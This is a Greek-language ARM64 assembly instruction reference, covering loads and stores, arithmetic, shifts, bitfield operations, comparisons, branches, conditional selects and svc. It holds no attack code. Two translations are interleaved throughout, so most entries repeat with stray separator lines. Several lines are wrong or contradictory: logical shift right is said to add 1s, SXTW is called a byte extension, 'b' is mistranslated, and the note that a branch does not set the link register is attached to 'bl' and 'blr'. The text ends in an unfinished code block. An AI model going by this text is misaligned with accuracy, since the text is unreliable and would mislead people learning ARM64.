- `ldr x1, =_start`, Αυτό θα φορτώσει τη διεύθυνση όπου ξεκινά το σύμβολο `_start` στο x1 σχετική με το τρέχον PC.
|
||||
- **`str`**: **Αποθήκευση** μιας τιμής από έναν **καταχωρητή** σε **μνήμη**.
|
||||
- Παράδειγμα: `str x0, [x1]` — Αυτό αποθηκεύει την τιμή στο `x0` στη διεύθυνση μνήμης που υποδεικνύεται από `x1`.
|
||||
- **`ldp`**: **Φόρτωση Ζεύγους Καταχωρητών**. Αυτή η εντολή **φορτώνει δύο καταχωρητές** από **διαδοχικές μνήμες**. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή.
|
||||
- Παράδειγμα: `ldp x0, x1, [x2]` — Αυτό φορτώνει το `x0` και το `x1` από τις διευθύνσεις μνήμης στα `x2` και `x2 + 8`, αντίστοιχα.
|
||||
- **`stp`**: **Αποθήκευση Ζεύγους Καταχωρητών**. Αυτή η εντολή **αποθηκεύει δύο καταχωρητές** σε **διαδοχικές μνήμες**. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή.
|
||||
- Παράδειγμα: `stp x0, x1, [sp]` — Αυτό αποθηκεύει το `x0` και το `x1` στις διευθύνσεις μνήμης στα `sp` και `sp + 8`, αντίστοιχα.
|
||||
- `stp x0, x1, [sp, #16]!` — Αυτό αποθηκεύει το `x0` και το `x1` στις διευθύνσεις μνήμης στα `sp+16` και `sp + 24`, αντίστοιχα, και ενημερώνει το `sp` με `sp+16`.
|
||||
- **PC-relative addressing**: Σε αυτή την περίπτωση η διεύθυνση που θα φορτωθεί υπολογίζεται σχετική με τον καταχωρητή PC
|
||||
- `ldr x1, =_start`, Αυτό θα φορτώσει τη διεύθυνση όπου ξεκινά το σύμβολο `_start` στο x1 σε σχέση με το τρέχον PC.
|
||||
- **`str`**: **Αποθηκεύει** μια τιμή από έναν **καταχωρητή** στη **μνήμη**.
|
||||
- Παράδειγμα: `str x0, [x1]` — Αυτό αποθηκεύει την τιμή στο `x0` στη διεύθυνση μνήμης που δείχνει το `x1`.
|
||||
- **`ldp`**: **Load Pair of Registers**. Αυτή η εντολή **φορτώνει δύο καταχωρητές** από **διαδοχικές θέσεις μνήμης**. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή.
|
||||
- Παράδειγμα: `ldp x0, x1, [x2]` — Αυτό φορτώνει το `x0` και το `x1` από τις διευθύνσεις μνήμης `x2` και `x2 + 8`, αντίστοιχα.
|
||||
- **`stp`**: **Store Pair of Registers**. Αυτή η εντολή **αποθηκεύει δύο καταχωρητές** σε **διαδοχικές θέσεις μνήμης**. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή.
|
||||
- Παράδειγμα: `stp x0, x1, [sp]` — Αυτό αποθηκεύει το `x0` και το `x1` στις διευθύνσεις μνήμης `sp` και `sp + 8`, αντίστοιχα.
|
||||
- `stp x0, x1, [sp, #16]!` — Αυτό αποθηκεύει το `x0` και το `x1` στις διευθύνσεις μνήμης `sp+16` και `sp + 24`, αντίστοιχα, και ενημερώνει το `sp` με `sp+16`.
|
||||
- **`add`**: **Προσθέτει** τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
- Xn1 -> Προορισμός
|
||||
- Xn2 -> Λειτουργία 1
|
||||
- Xn3 | #imm -> Λειτουργία 2 (καταχωρητής ή άμεσο)
|
||||
- \[shift #N | RRX] -> Εκτέλεση μιας μετατόπισης ή κλήση RRX
|
||||
- Παράδειγμα: `add x0, x1, x2` — Αυτό προσθέτει τις τιμές στα `x1` και `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- Xn2 -> Όπεραντ 1
|
||||
- Xn3 | #imm -> Όπεραντ 2 (καταχωρητής ή immediate)
|
||||
- \[shift #N | RRX] -> Εκτέλεση shift ή χρήση RRX
|
||||
- Παράδειγμα: `add x0, x1, x2` — Προσθέτει τις τιμές στα `x1` και `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- `add x5, x5, #1, lsl #12` — Αυτό ισούται με 4096 (ένα 1 μετατοπισμένο 12 φορές) -> 1 0000 0000 0000 0000
|
||||
- **`adds`** Αυτή εκτελεί μια `add` και ενημερώνει τις σημαίες.
|
||||
- **`adds`**: Εκτελεί `add` και ενημερώνει τις σημαίες.
|
||||
- **`sub`**: **Αφαιρεί** τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- Ελέγξτε τη **σύνταξη `add`**.
|
||||
- Παράδειγμα: `sub x0, x1, x2` — Αυτό αφαιρεί την τιμή στο `x2` από το `x1` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- **`subs`** Αυτό είναι όπως το sub αλλά ενημερώνει τη σημαία.
|
||||
- Δείτε τη σύνταξη του **`add`**.
|
||||
- Παράδειγμα: `sub x0, x1, x2` — Αφαιρεί την τιμή στο `x2` από το `x1` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- **`subs`**: Όπως το `sub` αλλά ενημερώνει τις σημαίες.
|
||||
- **`mul`**: **Πολλαπλασιάζει** τις τιμές **δύο καταχωρητών** και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- Παράδειγμα: `mul x0, x1, x2` — Αυτό πολλαπλασιάζει τις τιμές στα `x1` και `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- **`div`**: **Διαιρεί** την τιμή ενός καταχωρητή με έναν άλλο και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- Παράδειγμα: `div x0, x1, x2` — Αυτό διαιρεί την τιμή στο `x1` με το `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- Παράδειγμα: `mul x0, x1, x2` — Πολλαπλασιάζει τις τιμές στα `x1` και `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- **`div`**: **Διαιρεί** την τιμή ενός καταχωρητή με την τιμή ενός άλλου και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- Παράδειγμα: `div x0, x1, x2` — Διαιρεί την τιμή στο `x1` με το `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
- **Λογική μετατόπιση αριστερά**: Προσθέτει 0s από το τέλος μετακινώντας τα άλλα bits προς τα εμπρός (πολλαπλασιάζει με n-φορές 2)
|
||||
- **Λογική μετατόπιση δεξιά**: Προσθέτει 1s στην αρχή μετακινώντας τα άλλα bits προς τα πίσω (διαιρεί με n-φορές 2 σε μη υπογεγραμμένα)
|
||||
- **Αριθμητική μετατόπιση δεξιά**: Όπως το **`lsr`**, αλλά αντί να προσθέτει 0s αν το πιο σημαντικό bit είναι 1, προστίθενται **1s** (διαιρεί με n-φορές 2 σε υπογεγραμμένα)
|
||||
- **Μετατόπιση δεξιά**: Όπως το **`lsr`** αλλά ό,τι αφαιρείται από τα δεξιά προστίθεται στα αριστερά
|
||||
- **Μετατόπιση Δεξιά με Επέκταση**: Όπως το **`ror`**, αλλά με τη σημαία μεταφοράς ως το "πιο σημαντικό bit". Έτσι η σημαία μεταφοράς μετακινείται στο bit 31 και το αφαιρεθέν bit στη σημαία μεταφοράς.
|
||||
- **`bfm`**: **Μεταφορά Bit Field**, αυτές οι λειτουργίες **αντιγράφουν bits `0...n`** από μια τιμή και τα τοποθετούν σε θέσεις **`m..m+n`**. Το **`#s`** καθορίζει τη **θέση του αριστερού bit** και το **`#r`** την **ποσότητα μετατόπισης δεξιά**.
|
||||
- Μεταφορά bitfield: `BFM Xd, Xn, #r`
|
||||
- Υπογεγραμμένη μεταφορά bitfield: `SBFM Xd, Xn, #r, #s`
|
||||
- Μη υπογεγραμμένη μεταφορά bitfield: `UBFM Xd, Xn, #r, #s`
|
||||
- **Εξαγωγή και Εισαγωγή Bitfield:** Αντιγράφει ένα bitfield από έναν καταχωρητή και το αντιγράφει σε έναν άλλο καταχωρητή.
|
||||
- **`BFI X1, X2, #3, #4`** Εισάγει 4 bits από το X2 από το 3ο bit του X1
|
||||
- **Logical shift left**: Προσθέτει 0s στο τέλος μετακινώντας τα υπόλοιπα bits προς τα εμπρός (πολλαπλασιασμός επί 2^n).
|
||||
- **Logical shift right**: Προσθέτει 0s στην αρχή μετακινώντας τα υπόλοιπα bits προς τα πίσω (διαίρεση επί 2^n για unsigned).
|
||||
- **Arithmetic shift right**: Όπως το **`lsr`**, αλλά αντί για 0s, αν το πιο σημαντικό bit είναι 1, προστίθενται 1s (διαίρεση επί 2^n για signed).
|
||||
- **Rotate right**: Όπως το **`lsr`** αλλά όσα bits αποβάλλονται από τα δεξιά προστίθενται στα αριστερά.
|
||||
- **Rotate Right with Extend**: Όπως το **`ror`**, αλλά με τη σημαία carry ως το "πιο σημαντικό bit". Έτσι, η σημαία carry μεταφέρεται στο bit 31 και το αποβληθέν bit πηγαίνει στη σημαία carry.
|
||||
- **`bfm`**: **Bit Field Move**, αυτές οι εντολές **αντιγράφουν bits `0...n`** από μια τιμή και τα τοποθετούν στις θέσεις **`m..m+n`**. Το **`#s`** καθορίζει τη **αριστερότερη θέση bit** και το **`#r`** το **rotate right ποσό**.
|
||||
- Bitfield move: `BFM Xd, Xn, #r`
|
||||
- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
|
||||
- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
|
||||
- **Bitfield Extract and Insert:** Αντιγραφή ενός bitfield από έναν καταχωρητή και εισαγωγή του σε άλλον καταχωρητή.
|
||||
- **`BFI X1, X2, #3, #4`** Εισάγει 4 bits από X2 στη θέση 3 του X1
|
||||
- **`BFXIL X1, X2, #3, #4`** Εξάγει από το 3ο bit του X2 τέσσερα bits και τα αντιγράφει στο X1
|
||||
- **`SBFIZ X1, X2, #3, #4`** Επεκτείνει το σήμα 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits
|
||||
- **`SBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2, επεκτείνει το σήμα τους και τοποθετεί το αποτέλεσμα στο X1
|
||||
- **`UBFIZ X1, X2, #3, #4`** Μηδενίζει 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits
|
||||
- **`UBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2 και τοποθετεί το μηδενισμένο αποτέλεσμα στο X1.
|
||||
- **Επέκταση Σημασίας σε X:** Επεκτείνει το σήμα (ή προσθέτει απλώς 0s στην μη υπογεγραμμένη έκδοση) μιας τιμής για να μπορέσει να εκτελέσει λειτουργίες με αυτήν:
|
||||
- **`SXTB X1, W2`** Επεκτείνει το σήμα ενός byte **από W2 σε X1** (`W2` είναι το μισό του `X2`) για να γεμίσει τα 64bits
|
||||
- **`SXTH X1, W2`** Επεκτείνει το σήμα ενός αριθμού 16bit **από W2 σε X1** για να γεμίσει τα 64bits
|
||||
- **`SXTW X1, W2`** Επεκτείνει το σήμα ενός byte **από W2 σε X1** για να γεμίσει τα 64bits
|
||||
- **`UXTB X1, W2`** Προσθέτει 0s (μη υπογεγραμμένα) σε ένα byte **από W2 σε X1** για να γεμίσει τα 64bits
|
||||
- **`extr`:** Εξάγει bits από ένα καθορισμένο **ζεύγος καταχωρητών που συνδυάζονται**.
|
||||
- Παράδειγμα: `EXTR W3, W2, W1, #3` Αυτό θα **συνδυάσει W1+W2** και θα πάρει **από το bit 3 του W2 έως το bit 3 του W1** και θα το αποθηκεύσει στο W3.
|
||||
- **`cmp`**: **Συγκρίνει** δύο καταχωρητές και ρυθμίζει τις σημαίες συνθηκών. Είναι ένα **ψευδώνυμο του `subs`** ρυθμίζοντας τον καταχωρητή προορισμού στο μηδενικό καταχωρητή. Χρήσιμο για να γνωρίζετε αν `m == n`.
|
||||
- Υποστηρίζει την **ίδια σύνταξη με `subs`**
|
||||
- Παράδειγμα: `cmp x0, x1` — Αυτό συγκρίνει τις τιμές στα `x0` και `x1` και ρυθμίζει τις σημαίες συνθηκών αναλόγως.
|
||||
- **`cmn`**: **Συγκρίνει αρνητική** παράμετρο. Σε αυτή την περίπτωση είναι ένα **ψευδώνυμο του `adds`** και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να γνωρίζετε αν `m == -n`.
|
||||
- **`ccmp`**: Συνθήκη σύγκρισης, είναι μια σύγκριση που θα εκτελείται μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει συγκεκριμένα τα bits nzcv.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> αν x1 != x2 και x3 < x4, πηγαίνετε στη func
|
||||
- Αυτό συμβαίνει επειδή **`ccmp`** θα εκτελείται μόνο αν η **προηγούμενη `cmp` ήταν `NE`**, αν δεν ήταν τα bits `nzcv` θα ρυθμιστούν σε 0 (που δεν θα ικανοποιήσει τη σύγκριση `blt`).
|
||||
- Αυτό μπορεί επίσης να χρησιμοποιηθεί ως `ccmn` (το ίδιο αλλά αρνητικό, όπως `cmp` έναντι `cmn`).
|
||||
- **`tst`**: Ελέγχει αν οποιαδήποτε από τις τιμές της σύγκρισης είναι και οι δύο 1 (λειτουργεί όπως και το ANDS χωρίς να αποθηκεύει το αποτέλεσμα οπουδήποτε). Είναι χρήσιμο για να ελέγξετε έναν καταχωρητή με μια τιμή και να δείτε αν οποιοδήποτε από τα bits του καταχωρητή που υποδεικνύεται στην τιμή είναι 1.
|
||||
- Παράδειγμα: `tst X1, #7` Ελέγξτε αν οποιοδήποτε από τα τελευταία 3 bits του X1 είναι 1
|
||||
- **`teq`**: Λειτουργία XOR απορρίπτοντας το αποτέλεσμα
|
||||
- **`b`**: Ανεξάρτητη Κλάση
|
||||
- **`SBFIZ X1, X2, #3, #4`** Εκτείνει με υπογραφή 4 bits από X2 και τα εισάγει στο X1 ξεκινώντας στη θέση bit 3 μηδενίζοντας τα δεξιά bits
|
||||
- **`SBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 του X2, τα επεκτείνει με υπογραφή και τοποθετεί το αποτέλεσμα στο X1
|
||||
- **`UBFIZ X1, X2, #3, #4`** Μηδενικά-επεκτείνει 4 bits από X2 και τα εισάγει στο X1 ξεκινώντας στη θέση bit 3 μηδενίζοντας τα δεξιά bits
|
||||
- **`UBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 του X2 και τοποθετεί το μηδενικά-επεκταμένο αποτέλεσμα στο X1.
|
||||
- **Sign Extend To X:** Επεκτείνει το πρόσημο (ή απλά προσθέτει 0s στην unsigned έκδοση) μιας τιμής ώστε να μπορεί να χρησιμοποιηθεί σε πράξεις:
|
||||
- **`SXTB X1, W2`** Επεκτείνει το πρόσημο ενός byte **από W2 σε X1** (`W2` είναι το χαμηλό μισό του `X2`) για να γεμίσει τα 64 bits
|
||||
- **`SXTH X1, W2`** Επεκτείνει το πρόσημο ενός 16-bit αριθμού **από W2 σε X1** για να γεμίσει τα 64 bits
|
||||
- **`SXTW X1, W2`** Επεκτείνει το πρόσημο ενός 32-bit αριθμού **από W2 σε X1** για να γεμίσει τα 64 bits
|
||||
- **`UXTB X1, W2`** Προσθέτει 0s (unsigned) σε ένα byte **από W2 σε X1** για να γεμίσει τα 64 bits
|
||||
- **`extr`**: Εξάγει bits από ένα συγκεκριμένο **ζεύγος καταχωρητών συνενωμένων**.
|
||||
- Παράδειγμα: `EXTR W3, W2, W1, #3` Αυτό θα **συνενώσει W1+W2** και θα πάρει **από το bit 3 του W2 έως το bit 3 του W1** και θα το αποθηκεύσει στο W3.
|
||||
- **`cmp`**: **Συγκρίνει** δύο καταχωρητές και θέτει τις σημαίες συνθηκών. Είναι ένα **alias του `subs`** που θέτει τον προορισμό στον zero register. Χρήσιμο για να ελέγξετε αν `m == n`.
|
||||
- Υποστηρίζει την **ίδια σύνταξη με το `subs`**
|
||||
- Παράδειγμα: `cmp x0, x1` — Αυτό συγκρίνει τις τιμές στο `x0` και το `x1` και θέτει ανάλογα τις σημαίες συνθηκών.
|
||||
- **`cmn`**: **Compare negative** operand. Σε αυτή την περίπτωση είναι ένα **alias του `adds`** και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να ξέρετε αν `m == -n`.
|
||||
- **`ccmp`**: Conditional comparison, είναι μια σύγκριση που θα εκτελεστεί μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει συγκεκριμένα τα bits nzcv.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> αν x1 != x2 και x3 < x4, πήγαινε στη func
|
||||
- Αυτό γιατί το **`ccmp`** θα εκτελεστεί μόνο αν το **προηγούμενο `cmp` ήταν `NE`**, αν δεν ήταν τα bits `nzcv` θα τεθούν σε 0 (που δεν θα ικανοποιήσει τη σύγκριση `blt`).
|
||||
- Αυτό μπορεί επίσης να χρησιμοποιηθεί ως `ccmn` (το ίδιο αλλά αρνητικό, όπως `cmp` vs `cmn`).
|
||||
- **`tst`**: Ελέγχει αν οποιεσδήποτε από τις τιμές της σύγκρισης έχουν και οι δύο bit = 1 (λειτουργεί σαν ANDS χωρίς να αποθηκεύει το αποτέλεσμα). Είναι χρήσιμο για να ελέγξετε έναν καταχωρητή με μια τιμή και να δείτε αν οποιοδήποτε από τα bits που υποδεικνύει η τιμή είναι 1.
|
||||
- Παράδειγμα: `tst X1, #7` Έλεγχος αν οποιοδήποτε από τα τελευταία 3 bits του X1 είναι 1
|
||||
- **`teq`**: XOR λειτουργία απορρίπτοντας το αποτέλεσμα
|
||||
- **`b`**: Απλή Branch (απροσάρμοστο άλμα)
|
||||
- Παράδειγμα: `b myFunction`
|
||||
- Σημειώστε ότι αυτό δεν θα γεμίσει τον καταχωρητή σύνδεσης με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για κλήσεις υπορουτίνων που χρειάζονται επιστροφή)
|
||||
- **`bl`**: **Κλάση** με σύνδεση, χρησιμοποιείται για να **καλέσει** μια **υπορουτίνα**. Αποθηκεύει τη **διεύθυνση επιστροφής στο `x30`**.
|
||||
- Σημειώστε ότι αυτό δεν γεμίζει το link register με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για κλήσεις υπορουτινών που πρέπει να επιστρέψουν).
|
||||
- **`bl`**: **Branch** with link, χρησιμοποιείται για την **κλήση** μιας **υπορουτίνας**. Αποθηκεύει τη **διεύθυνση επιστροφής στο `x30`**.
|
||||
- Παράδειγμα: `bl myFunction` — Αυτό καλεί τη συνάρτηση `myFunction` και αποθηκεύει τη διεύθυνση επιστροφής στο `x30`.
|
||||
- Σημειώστε ότι αυτό δεν θα γεμίσει τον καταχωρητή σύνδεσης με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για κλήσεις υπορουτίνων που χρειάζονται επιστροφή)
|
||||
- **`blr`**: **Κλάση** με Σύνδεση σε Καταχωρητή, χρησιμοποιείται για να **καλέσει** μια **υπορουτίνα** όπου ο στόχος είναι **καθορισμένος** σε έναν **καταχωρητή**. Αποθηκεύει τη διεύθυνση επιστροφής στο `x30`. (Αυτό είναι
|
||||
- Σημειώστε ότι αυτό δεν γεμίζει τον link register με τη διεύθυνση επιστροφής (όχι κατάλληλο για υπορουτίνες που χρειάζεται να επιστρέψουν πίσω)
|
||||
- **`blr`**: **Branch** with Link to Register, χρησιμοποιείται για την **κλήση** μιας **υπορουτίνας** όπου ο στόχος καθορίζεται σε έναν **καταχωρητή**. Αποθηκεύει τη διεύθυνση επιστροφής στο `x30`.
|
||||
- Παράδειγμα: `blr x1` — Αυτό καλεί τη συνάρτηση της οποίας η διεύθυνση περιέχεται στο `x1` και αποθηκεύει τη διεύθυνση επιστροφής στο `x30`.
|
||||
- **`ret`**: **Επιστροφή** από **υπορουτίνα**, συνήθως χρησιμοποιώντας τη διεύθυνση στο **`x30`**.
|
||||
- Παράδειγμα: `ret` — Αυτό επιστρέφει από την τρέχουσα υπορουτίνα χρησιμοποιώντας τη διεύθυνση επιστροφής στο `x30`.
|
||||
- **`b.<cond>`**: Συνθήκες κλάσης
|
||||
- **`b.eq`**: **Κλάση αν ίσο**, βασισμένο στην προηγούμενη εντολή `cmp`.
|
||||
- Παράδειγμα: `b.eq label` — Εάν η προηγούμενη εντολή `cmp` βρήκε δύο ίσες τιμές, αυτό πηγαίνει στην `label`.
|
||||
- **`b.ne`**: **Κλάση αν Όχι Ίσο**. Αυτή η εντολή ελέγχει τις σημαίες συνθηκών (οι οποίες ρυθμίστηκαν από μια προηγούμενη εντολή σύγκρισης), και αν οι συγκριθείσες τιμές δεν ήταν ίσες, κλάδισε σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: Μετά από μια εντολή `cmp x0, x1`, `b.ne label` — Εάν οι τιμές στα `x0` και `x1` δεν ήταν ίσες, αυτό πηγαίνει στην `label`.
|
||||
- **`cbz`**: **Σύγκριση και Κλάση σε Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν είναι ίσοι, κλάδισε σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: `cbz x0, label` — Εάν η τιμή στο `x0` είναι μηδέν, αυτό πηγαίνει στην `label`.
|
||||
- **`cbnz`**: **Σύγκριση και Κλάση σε Μη Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν δεν είναι ίσοι, κλάδισε σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: `cbnz x0, label` — Εάν η τιμή στο `x0` είναι μη μηδέν, αυτό πηγαίνει στην `label`.
|
||||
- **`tbnz`**: Δοκιμή bit και κλάση σε μη μηδέν
|
||||
- **`ret`**: **Επιστροφή** από υπορουτίνα, τυπικά χρησιμοποιώντας τη διεύθυνση στο **`x30`**.
|
||||
- Παράδειγμα: `ret` — Επιστρέφει από την τρέχουσα υπορουτίνα χρησιμοποιώντας τη διεύθυνση επιστροφής στο `x30`.
|
||||
- **`b.<cond>`**: Υπό όρους branch εντολές
|
||||
- **`b.eq`**: **Άλμα αν ίσο**, βασισμένο στην προηγούμενη εντολή `cmp`.
|
||||
- Παράδειγμα: `b.eq label` — Αν η προηγούμενη εντολή `cmp` βρήκε δύο ίσες τιμές, τότε πηγαίνει στο `label`.
|
||||
- **`b.ne`**: **Branch if Not Equal**. Αυτή η εντολή ελέγχει τις σημαίες συνθηκών (που ρυθμίστηκαν από μια προηγούμενη εντολή σύγκρισης), και αν οι τιμές δεν ήταν ίσες, κάνει branch σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: Μετά από `cmp x0, x1`, `b.ne label` — Αν οι τιμές στο `x0` και `x1` δεν ήταν ίσες, τότε πηγαίνει στο `label`.
|
||||
- **`cbz`**: **Compare and Branch on Zero**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν είναι ίσοι, κάνει branch σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: `cbz x0, label` — Αν η τιμή στο `x0` είναι μηδέν, πηγαίνει στο `label`.
|
||||
- **`cbnz`**: **Compare and Branch on Non-Zero**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν δεν είναι ίσοι, κάνει branch σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: `cbnz x0, label` — Αν η τιμή στο `x0` δεν είναι μηδέν, πηγαίνει στο `label`.
|
||||
- **`tbnz`**: Test bit and branch on nonzero
|
||||
- Παράδειγμα: `tbnz x0, #8, label`
|
||||
- **`tbz`**: Δοκιμή bit και κλάση σε μηδέν
|
||||
- **`tbz`**: Test bit and branch on zero
|
||||
- Παράδειγμα: `tbz x0, #8, label`
|
||||
- **Συνθήκες επιλεγμένων λειτουργιών**: Αυτές είναι λειτουργίες των οποίων η συμπεριφορά ποικίλλει ανάλογα με τα συνθήκες bits.
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Εάν είναι αληθές, X0 = X1, εάν είναι ψευδές, X0 = X2
|
||||
- `csinc Xd, Xn, Xm, cond` -> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = Xm + 1
|
||||
- `cinc Xd, Xn, cond` -> Εάν είναι αληθές, Xd = Xn + 1, εάν είναι ψευδές, Xd = Xn
|
||||
- `csinv Xd, Xn, Xm, cond` -> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = NOT(Xm)
|
||||
- `cinv Xd, Xn, cond` -> Εάν είναι αληθές, Xd = NOT(Xn), εάν είναι ψευδές, Xd = Xn
|
||||
- `csneg Xd, Xn, Xm, cond` -> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = - Xm
|
||||
- `cneg Xd, Xn, cond` -> Εάν είναι αληθές, Xd = - Xn, εάν είναι ψευδές, Xd = Xn
|
||||
- `cset Xd, Xn, Xm, cond` -> Εάν είναι αληθές, Xd = 1, εάν είναι ψευδές, Xd = 0
|
||||
- `csetm Xd, Xn, Xm, cond` -> Εάν είναι αληθές, Xd = \<όλα 1>, εάν είναι ψευδές, Xd = 0
|
||||
- **`adrp`**: Υπολογίζει τη **διεύθυνση σελίδας ενός συμβόλου** και την αποθηκεύει σε έναν καταχωρητή.
|
||||
- Παράδειγμα: `adrp x0, symbol` — Αυτό υπολογίζει τη διεύθυνση σελίδας του `symbol` και την αποθηκεύει στο `x0`.
|
||||
- **`ldrsw`**: **Φόρτωση** μιας υπογεγραμμένης **32-bit** τιμής από τη μνήμη και **επέκταση του σήματος σε 64** bits.
|
||||
- Παράδειγμα: `ldrsw x0, [x1]` — Αυτό φορτώνει μια υπογεγραμμένη 32-bit τιμή από τη διεύθυνση μνήμης που υποδεικνύεται από `x1`, επεκτείνει το σήμα σε 64 bits και την αποθηκεύει στο `x0`.
|
||||
- **`stur`**: **Αποθήκευση μιας τιμής καταχωρητή σε μια διεύθυνση μνήμης**, χρησιμοποιώντας ένα offset από έναν άλλο καταχωρητή.
|
||||
- Παράδειγμα: `stur x0, [x1, #4]` — Αυτό αποθηκεύει την τιμή στο `x0` στη διεύθυνση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που είναι ήδη στο `x1`.
|
||||
- **`svc`** : Κάνει μια **κλήση συστήματος**. Σημαίνει "Κλήση Υπεύθυνου". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, **μεταβαίνει από τη λειτουργία χρήστη σε λειτουργία πυρήνα** και πηγαίνει σε μια συγκεκριμένη τοποθεσία στη μνήμη όπου βρίσκεται ο **κωδικός χειρισμού κλήσεων συστήματος του πυρήνα**.
|
||||
- **Επιλογές conditional select**: Αυτές είναι εντολές των οποίων η συμπεριφορά αλλάζει ανάλογα με τα conditional bits.
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Αν αληθές, X0 = X1, αν ψευδές, X0 = X2
|
||||
- `csinc Xd, Xn, Xm, cond` -> Αν αληθές, Xd = Xn, αν ψευδές, Xd = Xm + 1
|
||||
- `cinc Xd, Xn, cond` -> Αν αληθές, Xd = Xn + 1, αν ψευδές, Xd = Xn
|
||||
- `csinv Xd, Xn, Xm, cond` -> Αν αληθές, Xd = Xn, αν ψευδές, Xd = NOT(Xm)
|
||||
- `cinv Xd, Xn, cond` -> Αν αληθές, Xd = NOT(Xn), αν ψευδές, Xd = Xn
|
||||
- `csneg Xd, Xn, Xm, cond` -> Αν αληθές, Xd = Xn, αν ψευδές, Xd = - Xm
|
||||
- `cneg Xd, Xn, cond` -> Αν αληθές, Xd = - Xn, αν ψευδές, Xd = Xn
|
||||
- `cset Xd, Xn, Xm, cond` -> Αν αληθές, Xd = 1, αν ψευδές, Xd = 0
|
||||
- `csetm Xd, Xn, Xm, cond` -> Αν αληθές, Xd = \<all 1>, αν ψευδές, Xd = 0
|
||||
- **`adrp`**: Υπολογίζει τη **διεύθυνση της σελίδας ενός συμβόλου** και την αποθηκεύει σε έναν καταχωρητή.
|
||||
- Παράδειγμα: `adrp x0, symbol` — Υπολογίζει τη διεύθυνση σελίδας του `symbol` και την αποθηκεύει στο `x0`.
|
||||
- **`ldrsw`**: **Φορτώνει** μια υπογεγραμμένη **32-bit** τιμή από τη μνήμη και **την επεκτείνει με υπογραφή σε 64** bits.
|
||||
- Παράδειγμα: `ldrsw x0, [x1]` — Φορτώνει μια υπογεγραμμένη 32-bit τιμή από τη διεύθυνση που δείχνει το `x1`, την επεκτείνει σε 64 bits, και την αποθηκεύει στο `x0`.
|
||||
- **`stur`**: **Αποθηκεύει την τιμή ενός καταχωρητή σε μια θέση μνήμης**, χρησιμοποιώντας ένα offset από έναν άλλο καταχωρητή.
|
||||
- Παράδειγμα: `stur x0, [x1, #4]` — Αποθηκεύει την τιμή στο `x0` στη διεύθυνση που είναι 4 bytes μεγαλύτερη από αυτή που περιέχει το `x1`.
|
||||
- **`svc`** : Κάνει ένα **system call**. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, **εναλλάσσεται από λειτουργία χρήστη σε λειτουργία kernel** και πηγαίνει σε μια συγκεκριμένη θέση στη μνήμη όπου βρίσκεται ο κώδικας διαχείρισης system call του **kernel**.
|
||||
|
||||
- Παράδειγμα:
|
||||
|
||||
```armasm
|
